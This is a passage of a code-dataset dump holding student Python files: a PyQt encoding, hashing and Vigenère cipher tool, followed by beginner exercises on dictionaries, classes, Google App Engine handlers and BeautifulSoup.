MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Enkripsi dan Dekripsi Kriptografi\"))\n MainWindow.setWindowIcon(QtGui.QIcon('icon.jpg'))\n counter=len(self.listJenis)\n for jenis in self.listJenis:\n self.comboBoxPilihJenis.setItemText(counter, _translate(\"MainWindow\",jenis))\n self.labelPilihAlgoritma.setText(_translate(\"MainWindow\", \"Pilih Algoritma\"))\n self.labelPlainText1.setText(_translate(\"MainWindow\", \"Plain Text\"))\n self.labelPlainText2.setText(_translate(\"MainWindow\", \"Plain Text\"))\n self.labelEncryptedText1.setText(_translate(\"MainWindow\", \"Ciphertext\"))\n self.labelEncryptedText2.setText(_translate(\"MainWindow\", \"Ciphertext\"))\n self.labelKriptografiKlasik.setText(_translate(\"MainWindow\", \"Kriptografi Klasik : \"))\n self.pushButtonEncrypt.setText(_translate(\"MainWindow\", \"Encrypt\"))\n self.pushButtonDecrypt.setText(_translate(\"MainWindow\", \"Decrypt\"))\n self.pushButtonCaesar.setText(_translate(\"MainWindow\", \"Caesar Cipher\"))\n self.pushButtonVigenere.setText(_translate(\"MainWindow\", \"Vigenère Cipher\"))\n self.menu.setTitle(_translate(\"MainWindow\", \"Menu\"))\n self.edit.setTitle(_translate(\"MainWindow\", \"Edit\"))\n self.navigate.setTitle(_translate(\"MainWindow\", \"Navigate\"))\n self.actionQuit.setText(_translate(\"MainWindow\", \"Quit\"))\n self.actionCopy.setText(_translate(\"MainWindow\", \"Copy\"))\n self.actionPaste.setText(_translate(\"MainWindow\", \"Paste\"))\n self.actionCut.setText(_translate(\"MainWindow\", \"Cut\"))\n self.actionCaesar.setText(_translate(\"MainWindow\", \"Caesar Cipher\"))\n self.actionVigenere.setText(_translate(\"MainWindow\", \"Vigenère Cipher\"))\n\n def encrypt(self):\n textboxValue = self.textEditPlainText1.toPlainText()\n inputComboBox = self.comboBoxPilihJenis.currentText()\n solve = encrypt()\n solve.setValue(inputComboBox,textboxValue)\n self.textEditEncryptedText1.setText(solve.getValue())\n\n def decrypt(self):\n try:\n textboxValue = self.textEditEncryptedText2.toPlainText()\n inputComboBox = self.comboBoxPilihJenis.currentText()\n solve = decrypt()\n solve.setValue(inputComboBox,textboxValue)\n self.textEditPlainText2.setText(solve.getValue())\n except Exception:\n inputComboBox = self.comboBoxPilihJenis.currentText()\n pesan = \"Input Tidak Valid!\\nInput harus berupa \" + inputComboBox\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Warning)\n msg.setText(\"Warning\")\n msg.setInformativeText(pesan)\n msg.setWindowTitle(\"Warning\")\n msg.exec_()\n\n def disableHash(self):\n inputComboBox = self.comboBoxPilihJenis.currentText()\n hashList = [\"MD5\",\"SHA-1\",\"SHA-224\",\"SHA-256\",\"SHA-384\",\"SHA-512\"]\n if(inputComboBox in hashList):\n self.textEditEncryptedText2.setText(\"\")\n self.textEditPlainText2.setText(\"\")\n self.textEditEncryptedText2.setDisabled(True)\n self.textEditPlainText2.setDisabled(True)\n else:\n self.textEditEncryptedText2.setDisabled(False)\n self.textEditPlainText2.setDisabled(False)\n\n def openCaesarWindow(self):\n self.CaesarWindow = QtWidgets.QMainWindow()\n self.ui = Ui_CaesarWindow()\n self.ui.setupUi(self.CaesarWindow)\n self.CaesarWindow.show()\n\n def openVigenereWindow(self):\n self.VigenereWindow = QtWidgets.QMainWindow()\n self.ui = Ui_VigenereWindow()\n self.ui.setupUi(self.VigenereWindow)\n self.VigenereWindow.show()\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = UI_MainWindow()\n ui.setupUI(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())"
},
{
"alpha_fraction": 0.5351839661598206,
"alphanum_fraction": 0.5887669324874878,
"avg_line_length": 35.046512603759766,
"blob_id": "ae424759d34de1e891ba9223cf88896d74ad955d",
"content_id": "09935a62430ea9757166ef5e17dade17a0c34f04",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1549,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 43,
"path": "/decrypt.py",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "class decrypt:\n def setValue(self,inputComboBox,textboxValue):\n self.inputComboBox = inputComboBox\n self.textboxValue = textboxValue\n\n def getValue(self):\n import base64, hashlib, codecs\n\n if(self.inputComboBox==\"Base64\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base64_bytes = base64.b64decode(textUTF8)\n base64 = base64_bytes.decode(\"utf-8\")\n return base64\n\n if(self.inputComboBox==\"Base32\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base32_bytes = base64.b32decode(textUTF8)\n base32 = base32_bytes.decode(\"utf-8\")\n return base32\n\n if(self.inputComboBox==\"Base16\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base16_bytes = base64.b16decode(textUTF8)\n base16 = base16_bytes.decode(\"utf-8\")\n return base16\n\n if(self.inputComboBox==\"ASCII\"):\n asciiText = ''.join(chr(i) for i in [int(i) for i in self.textboxValue.split()])\n return asciiText\n\n if(self.inputComboBox==\"Ascii85\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n Ascii85_bytes = base64.b85decode(textUTF8)\n Ascii85 = Ascii85_bytes.decode(\"utf-8\")\n return Ascii85\n\n if(self.inputComboBox==\"Reverse\"):\n reverse = self.textboxValue[::-1]\n return reverse\n\n if(self.inputComboBox==\"ROT13\"):\n rot13 = codecs.decode(self.textboxValue, 'rot_13')\n return rot13"
},
{
"alpha_fraction": 0.6322494149208069,
"alphanum_fraction": 0.6515253186225891,
"avg_line_length": 45.24806213378906,
"blob_id": "e1f396c1b0388c516badb035afbd281db17c6bdd",
"content_id": "2213ed39178ba19c8c736a5ba4049e9265f63b4e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5968,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 129,
"path": "/vigenere.py",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nclass Ui_VigenereWindow(object):\n def setupUi(self, VigenereWindow):\n VigenereWindow.setObjectName(\"VigenereWindow\")\n VigenereWindow.resize(420, 601)\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n VigenereWindow.setFont(font)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"vigenere.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n VigenereWindow.setWindowIcon(icon)\n self.centralwidget = QtWidgets.QWidget(VigenereWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.labelVignere = QtWidgets.QLabel(self.centralwidget)\n self.labelVignere.setGeometry(QtCore.QRect(20, 10, 201, 41))\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n font.setPointSize(18)\n self.labelVignere.setFont(font)\n self.labelVignere.setObjectName(\"labelVignere\")\n self.labelKey = QtWidgets.QLabel(self.centralwidget)\n self.labelKey.setGeometry(QtCore.QRect(20, 60, 51, 41))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.labelKey.setFont(font)\n self.labelKey.setObjectName(\"labelKey\")\n self.lineEditKey = QtWidgets.QLineEdit(self.centralwidget)\n self.lineEditKey.setGeometry(QtCore.QRect(80, 70, 81, 22))\n self.lineEditKey.setObjectName(\"lineEditKey\")\n self.labelPlainText = QtWidgets.QLabel(self.centralwidget)\n self.labelPlainText.setGeometry(QtCore.QRect(20, 130, 81, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.labelPlainText.setFont(font)\n self.labelPlainText.setObjectName(\"labelPlainText\")\n self.labelCipherText = QtWidgets.QLabel(self.centralwidget)\n self.labelCipherText.setGeometry(QtCore.QRect(20, 320, 131, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.labelCipherText.setFont(font)\n self.labelCipherText.setObjectName(\"labelCipherText\")\n self.textEditPlainText = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditPlainText.setGeometry(QtCore.QRect(20, 150, 371, 151))\n self.textEditPlainText.setObjectName(\"textEditPlainText\")\n self.textEditCipherText = QtWidgets.QTextEdit(self.centralwidget)\n self.textEditCipherText.setGeometry(QtCore.QRect(20, 340, 371, 151))\n self.textEditCipherText.setObjectName(\"textEditCipherText\")\n self.pushButtonEncrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonEncrypt.setGeometry(QtCore.QRect(20, 510, 93, 28))\n self.pushButtonEncrypt.setObjectName(\"pushButtonEncrypt\")\n self.pushButtonEncrypt.clicked.connect(self.encrypt)\n self.pushButtonDecrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButtonDecrypt.setGeometry(QtCore.QRect(130, 510, 93, 28))\n self.pushButtonDecrypt.setObjectName(\"pushButtonDecrypt\")\n self.pushButtonDecrypt.clicked.connect(self.decrypt)\n VigenereWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(VigenereWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 420, 26))\n self.menubar.setObjectName(\"menubar\")\n VigenereWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(VigenereWindow)\n self.statusbar.setObjectName(\"statusbar\")\n VigenereWindow.setStatusBar(self.statusbar)\n self.retranslateUi(VigenereWindow)\n QtCore.QMetaObject.connectSlotsByName(VigenereWindow)\n\n def retranslateUi(self, VigenereWindow):\n _translate = QtCore.QCoreApplication.translate\n VigenereWindow.setWindowTitle(_translate(\"VigenereWindow\", \"Vigenère Cipher\"))\n self.labelVignere.setText(_translate(\"VigenereWindow\", \"Vigenère Cipher\"))\n self.labelKey.setText(_translate(\"VigenereWindow\", \"Key :\"))\n self.labelPlainText.setText(_translate(\"VigenereWindow\", \"Input\"))\n self.labelCipherText.setText(_translate(\"VigenereWindow\", \"Output\"))\n self.pushButtonEncrypt.setText(_translate(\"VigenereWindow\", \"Encrypt\"))\n self.pushButtonDecrypt.setText(_translate(\"VigenereWindow\", \"Decrypt\"))\n\n def generateKey(self, string, key): \n key = list(key) \n string = list(string)\n if len(string) == len(key): \n return(key) \n else: \n for i in range(len(string)):\n if string[i]==' ':\n key.append(' ')\n key.append(key[i % len(key)]) \n return(\"\". join(key)) \n \n def encrypt(self): \n cipher_text = [] \n string = self.textEditPlainText.toPlainText()\n inputKey = self.lineEditKey.text()\n key = self.generateKey(string,inputKey)\n print(key)\n print(string)\n for i in range(len(string)): \n if string[i]==' ':\n cipher_text.append(' ')\n x = (ord(string[i]) + ord(key[i])) % 26\n x += ord('A') \n cipher_text.append(chr(x)) \n encrypted = \"\" . join(cipher_text)\n self.textEditCipherText.setText(encrypted)\n\n def decrypt(self): \n cipher_text = [] \n string = self.textEditPlainText.toPlainText()\n inputKey = self.lineEditKey.text()\n key = self.generateKey(string,inputKey)\n for i in range(len(string)): \n if string[i]==' ':\n cipher_text.append(' ')\n x = (ord(string[i]) - ord(key[i]) + 26) % 26\n x += ord('A') \n cipher_text.append(chr(x)) \n decrypted = \"\" . join(cipher_text)\n self.textEditCipherText.setText(decrypted)\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n VigenereWindow = QtWidgets.QMainWindow()\n ui = Ui_VigenereWindow()\n ui.setupUi(VigenereWindow)\n VigenereWindow.show()\n sys.exit(app.exec_())\n"
},
{
"alpha_fraction": 0.5117710828781128,
"alphanum_fraction": 0.568634569644928,
"avg_line_length": 33.9620246887207,
"blob_id": "efec0d57b4effb316383b8fa81bdd7a0ed418e7d",
"content_id": "56290f5a42c76d220621190569599bb307b65938",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2761,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 79,
"path": "/encrypt.py",
"repo_name": "retr00exe/crypt",
"src_encoding": "UTF-8",
"text": "class encrypt:\n def setValue(self,inputComboBox,textboxValue):\n self.inputComboBox = inputComboBox\n self.textboxValue = textboxValue\n\n def getValue(self):\n import base64, hashlib, codecs\n\n if(self.inputComboBox==\"Base64\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base64_bytes = base64.b64encode(textUTF8)\n base64 = base64_bytes.decode(\"utf-8\")\n return base64\n\n if(self.inputComboBox==\"Base32\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base32_bytes = base64.b32encode(textUTF8)\n base32 = base32_bytes.decode(\"utf-8\")\n return base32\n\n if(self.inputComboBox==\"Base16\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n base16_bytes = base64.b16encode(textUTF8)\n base16 = base16_bytes.decode(\"utf-8\")\n return base16\n\n if(self.inputComboBox==\"Ascii85\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n Ascii85_bytes = base64.b85encode(textUTF8)\n Ascii85 = Ascii85_bytes.decode(\"utf-8\")\n return Ascii85\n\n if(self.inputComboBox==\"ASCII\"):\n asciiText = ' '.join(str(ord(c))for c in self.textboxValue)\n return asciiText\n\n if(self.inputComboBox==\"Reverse\"):\n reverse = self.textboxValue[::-1]\n return reverse\n\n if(self.inputComboBox==\"ROT13\"):\n rot13 = codecs.encode(self.textboxValue, 'rot_13')\n return rot13\n\n if(self.inputComboBox==\"MD5\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.md5(textUTF8)\n md5 = hash.hexdigest()\n return md5\n\n if(self.inputComboBox==\"SHA-1\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.sha1(textUTF8)\n sha1 = hash.hexdigest()\n return sha1\n\n if(self.inputComboBox==\"SHA-224\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.sha224(textUTF8)\n sha224 = hash.hexdigest()\n return sha224\n\n if(self.inputComboBox==\"SHA-256\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.sha256(textUTF8)\n sha256 = hash.hexdigest()\n return sha256\n\n if(self.inputComboBox==\"SHA-384\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.sha384(textUTF8)\n sha384 = hash.hexdigest()\n return sha384\n\n if(self.inputComboBox==\"SHA-512\"):\n textUTF8 = self.textboxValue.encode(\"utf-8\")\n hash = hashlib.sha512(textUTF8)\n sha512 = hash.hexdigest()\n return sha512"
}
] | 6 |
jacbut/wd1_2018 | https://github.com/jacbut/wd1_2018 | a90fc06c17949f111a1d11f7f4d4cb208770a7f9 | 0bbb8a0b21a401df1c2e9d3b5856923304767d23 | 4a3f95d1a2d88294435f115fcd87e264b407b2c1 | refs/heads/master | 2018-12-08T22:35:33.154635 | 2018-11-21T09:20:10 | 2018-11-21T09:20:10 | 148,352,334 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6915166974067688,
"alphanum_fraction": 0.6915166974067688,
"avg_line_length": 16.68181800842285,
"blob_id": "cfc448f622865fef194edb49b595fb6f18842cc7",
"content_id": "c19b23341486647885645bcb669f997fe30eefaa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 389,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 22,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01681_library_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Erstelle folgende Klassen, und demonstriere den Gebrauch ihrer Methoden:\n#\n# *Bibliothek\n# Felder:\n# name, buecher (dict, mit ISBN als key)\n# Methoden:\n# add_buch\n# verleihen_buch\n#\n# *Buch\n# titel,autor, verlag, verliehen (bool)\n# get_data\n#\n# *Person\n# name, buecher (dict, mit ISBN als key)\n# add_buch,\n# get_book_data\n#\n# *Kurs\n# name, personen (liste)\n# add_personen\n# get_personen\n"
},
{
"alpha_fraction": 0.36474165320396423,
"alphanum_fraction": 0.3890577554702759,
"avg_line_length": 34.33333206176758,
"blob_id": "c83c7a1cfa20525981af0bd535683b06e367f4d7",
"content_id": "a9640dc23bb5ff7f927a9a14c60d3c7b4c77527d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 329,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 9,
"path": "/python_00100_datatypes_calculator/example_00420_bool_value_of_other_types.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\r\nprint bool(0) # False\r\nprint bool(1) # True\r\nprint bool(2) # True\r\nprint bool(\"\") # False\r\nprint bool(\"0\") # True\r\nprint bool(\"1\") # True\r\nprint bool([]) # False\r\nprint bool([\"0\"]) # True\r\nprint bool([\"0\", \"1\"]) # True\r\n"
},
{
"alpha_fraction": 0.6864535808563232,
"alphanum_fraction": 0.689497709274292,
"avg_line_length": 28.863636016845703,
"blob_id": "f62b7beac523b491ad3dfbbb43e76143fe152f8f",
"content_id": "4dc25f0a3ece9aae78c9f1e5228eabc9bb68b87a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 657,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 22,
"path": "/python_00300_files_jsons_dicts/example_01140_dictionaries_capitals_game_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import random\n\n# create a dictionary, with 3 countries and 3 capitals\n# choose one country randomly\n# print the country and its capital\na = {\"Norway\": \"Oslo\",\n \"Canada\": \"Ottawa\",\n \"Finland\": \"Helsinki\"}\ncountry = random.choice(a.keys())\nprint country, a[country]\n\n# after choosing the country randomly,\n# ask the user to input the capital to the chosen country\n# compare the input, and the real value\n# if correct, congratulate\n# if wrong, say sorry\nguess = raw_input(\"What is the capital of \" + country + \" :\").strip()\nprint country + \" \" + a[country]\nif guess.lower() == a[country].lower():\n print \"correct\"\nelse:\n print \"sorry it's wrong\"\n"
},
{
"alpha_fraction": 0.5726141333580017,
"alphanum_fraction": 0.5995850563049316,
"avg_line_length": 15.620689392089844,
"blob_id": "c0088ad331a6476d1d9353eb87085a3902c5fa77",
"content_id": "e38c9529052a9402026b228ed1b698a024e7f00a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 482,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 29,
"path": "/python_00400_functions/example_01410_math_func_src.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\ndef addition(x, y):\n return x + y\n\n\ndef subtraction(x, y):\n return x - y\n\n\ndef multiplication(x, y):\n return x * y\n\n\ndef division(x, y):\n return x / y\n\n\n# guard, protection from being executed on import\nif __name__ == '__main__':\n result = addition(10, 23)\n print result\n result = subtraction(10, 8)\n print result\n result = multiplication(4, 2)\n print result\n result = division(27, 3)\n print result\n"
},
{
"alpha_fraction": 0.6217702031135559,
"alphanum_fraction": 0.6261682510375977,
"avg_line_length": 29.316667556762695,
"blob_id": "11fbeaaadc2d1e43fd0be1279d05a915dd310918",
"content_id": "329e7e26ec83357b9dd793c05138095fdd3e8289",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1819,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 60,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01000__auth_login/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport os\nimport jinja2\nimport webapp2\nfrom google.appengine.api import users\nimport hmac\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n def write(self, *a, **kw):\n self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n user = users.get_current_user()\n\n if user:\n logged_in = True\n logout_url = users.create_logout_url('/')\n my_hash = hmac.new(user.nickname()).hexdigest()\n params = {\"logged_in\": logged_in, \"logout_url\": logout_url, \"user\": user, \"my_hash\": my_hash}\n else:\n logged_in = False\n login_url = users.create_login_url('/')\n\n params = {\"logged_in\": logged_in, \"login_url\": login_url, \"user\": user}\n\n return self.render_template(\"hello.html\", params=params)\n\n\nclass SecretSideHandler(BaseHandler):\n def get(self):\n user = users.get_current_user()\n if user:\n return self.render_template(\"forbidden.html\")\n else:\n return self.redirect_to(\"main\")\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler, name=\"main\"),\n webapp2.Route('/forbidden', SecretSideHandler)\n], debug=True)\n"
},
{
"alpha_fraction": 0.637420117855072,
"alphanum_fraction": 0.644973874092102,
"avg_line_length": 30.290908813476562,
"blob_id": "7cea8917f3523a2336b70b132b15b457125af7bf",
"content_id": "4c65a08c00d83cdaa48fda504239e064ca05b0bf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1721,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 55,
"path": "/WD1-GAE/gae_00200__jinja_parameters__if/example_00600_jinja_for/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport os\nimport jinja2\nimport webapp2\nimport datetime\nimport random\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n fruits = [\"Apple\", \"Mango\", \"Pineapple\"]\n return self.render_template(\"main.html\", params={\"fruits\": fruits})\n\n\nclass HobbyHandler(BaseHandler):\n def get(self):\n hobbies = [\"drawing\", \"swimming\", \"doing exercise\"]\n return self.render_template(\"hobbies.html\", params={\"hobbies\": hobbies})\n\n\nclass DateHandler(BaseHandler):\n def get(self):\n my_time = datetime.datetime.now().isoformat()\n lottery_numbers = random.sample(range(1,50), 6)\n return self.render_template(\"my_time.html\", params={\"current_time\": my_time,\n \"lottery_numbers\": lottery_numbers})\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n webapp2.Route('/hobbies', HobbyHandler),\n webapp2.Route('/date', DateHandler),\n], debug=True)\n"
},
{
"alpha_fraction": 0.5701754093170166,
"alphanum_fraction": 0.5764411091804504,
"avg_line_length": 20.963302612304688,
"blob_id": "454129f5b61a99b821c9498fe308196b908525e7",
"content_id": "2a450d002bbdb779ace89705ff87f934850c15f7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2394,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 109,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01681_library_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Erstelle folgende Klassen, und demonstriere den Gebrauch ihrer Methoden:\n#\n# *Bibliothek\n# Felder:\n# name, buecher (dict, mit ISBN als key)\n# Methoden:\n# add_buch\n# verleihen_buch\n#\n# *Buch\n# titel,autor, verlag, verliehen (bool)\n# get_data\n#\n# *Person\n# name, buecher (dict, mit ISBN als key)\n# add_buch,\n# get_book_data\n#\n# *Kurs\n# name, personen (liste)\n# add_personen\n# get_personen\n\nclass Bibliothek():\n def __init__(self, name):\n self.name = name\n self.buecher = {}\n\n def add_buch(self, isbn, buch):\n self.buecher[isbn] = buch\n\n def verleihen_buch(self, titel):\n for key, value in self.buecher.iteritems():\n if value.titel == titel:\n if value.verliehen == True:\n return \"error, buch verliehen\"\n else:\n value.verliehen = True\n return \"ok\"\n\n\nclass Buch():\n\n def __init__(self, titel, autor, verlag):\n self.titel = titel\n self.autor = autor\n self.verlag = verlag\n self.verliehen = False\n\n def get_data(self):\n return self.titel, \" \", self.autor, \" \", self.verlag\n\n\nclass Kurs():\n def __init__(self, name):\n self.name = name\n self.personen = []\n\n def add_personen(self, person):\n self.personen.append(person)\n\n def get_personen(self):\n for person in self.personen:\n print person.name\n\n\nclass Person():\n\n def __init__(self, name):\n self.name = name\n self.buecher = {}\n\n def add_buch(self, iban, buch):\n self.buecher[iban] = buch\n\n def get_book_data(self):\n for key, value in self.buecher.iteritems():\n print key, \" \", value.titel, \" \", value.autor, \" \", value.verlag\n\n\n# Demonstration der Verwendung:\n\nif __name__ == \"__main__\":\n\n bibliothek = Bibliothek(\"Bibliothek Wien\")\n buch = Buch(\"Die Pest\", \"Albert Camus\", \"Verlag Duesseldorf\")\n bibliothek.add_buch(\"121341\", buch)\n\n person = Person(\"Peter\")\n\n status = bibliothek.verleihen_buch(\"Die Pest\")\n\n if status == \"ok\":\n print status\n person.add_buch(\"121341\", buch)\n else:\n print status\n\n # status = bibliothek.verleihen_buch(\"Die Pest\")\n # print status\n\n buecher = person.buecher\n for key1, value1 in buecher.iteritems():\n print value1.get_data()\n\n kurs = Kurs(\"Germanistik\")\n kurs.add_personen(person)\n\n kurs.get_personen()\n"
},
{
"alpha_fraction": 0.6437346339225769,
"alphanum_fraction": 0.6461916565895081,
"avg_line_length": 30.30769157409668,
"blob_id": "ebac0742e7a9f8cdfdc251ed664fd3a1cff1cc92",
"content_id": "4002c47965806a0d228ec17592ee5f00bfba417d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 407,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 13,
"path": "/python_00600_webscrapen/example_01702_beautifulsoup_find_div_and_class.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import BeautifulSoup as BS\n\nif __name__ == '__main__':\n # read example html file\n with open(\"example.html\", \"r\") as html_file:\n html_content = html_file.read()\n\n # turn it into a soup\n soup = BS.BeautifulSoup(html_content)\n\n # Example 2: get the div in the html with class SuperClass\n superclass_div = soup.find(\"div\", attrs={\"class\": \"SuperClass\"})\n print superclass_div.string\n"
},
{
"alpha_fraction": 0.6269841194152832,
"alphanum_fraction": 0.6428571343421936,
"avg_line_length": 33.3636360168457,
"blob_id": "b85f73bf459f7d55e11dea698866b19c0583d979",
"content_id": "86f2eda2c99d044dc159ab3567e38e4095c5ceb2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 378,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 11,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00930_list_slice_exercise_2____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# There is a new diet called, eat 50%\n# Your daily course consists of\n# [\"bread\", \"butter\", \"honey\", \"salad\", \"ice-cream\", \"humus\", \"cake\", \"coffee\"]\n# print the list with only taking every second item on your course\n\ndiet = [\"bread\", \"butter\", \"honey\", \"salad\", \"ice-cream\", \"humus\", \"cake\", \"coffee\"]\nprint diet[::2]\nprint diet[1::2]\n\n# reverse your name\nprint \"Jacob\" [::-1]\n"
},
{
"alpha_fraction": 0.6281588673591614,
"alphanum_fraction": 0.6498194932937622,
"avg_line_length": 17.785715103149414,
"blob_id": "681891b7539abda6b9139d3bd3b2cc26350ce50a",
"content_id": "a152c3d5ffcb7359b94df4b5a844596a2b09e30e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 277,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 14,
"path": "/python_00100_datatypes_calculator/example_00450_raw_input_casting.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "entry = raw_input(\"Enter a number: \")\r\n\r\nmy_number = float(entry)\r\n\r\nprint \"You entered {}\".format(my_number)\r\n\r\nprint type(my_number)\r\n\r\nbigger_than_30 = my_number > 30\r\n\r\nif bigger_than_30:\r\n print \"You entered a high number\"\r\nelse:\r\n print \"You entered a low number\"\r\n"
},
{
"alpha_fraction": 0.800000011920929,
"alphanum_fraction": 0.800000011920929,
"avg_line_length": 21,
"blob_id": "bfa0e0a78a0ad81aca8a300b860b81f8f7ad5c8a",
"content_id": "0be1d0f83360ed56fbd15b5a0d5e1d15631e3bb8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 65,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 3,
"path": "/WD1-GAE/gae_00100__first_gae_app/example_00210_intro_exercise_assets/README.md",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "Exercise:\n\nAdd audio and video to the html from the assets folder"
},
{
"alpha_fraction": 0.7571428418159485,
"alphanum_fraction": 0.7571428418159485,
"avg_line_length": 27.200000762939453,
"blob_id": "b9adaa56c8da5f4d8a7650a03074de7afe161014",
"content_id": "8a6aeb0f3f5d876ca5c1778e1aff9e3ba23d7dd1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 140,
"license_type": "no_license",
"max_line_length": 69,
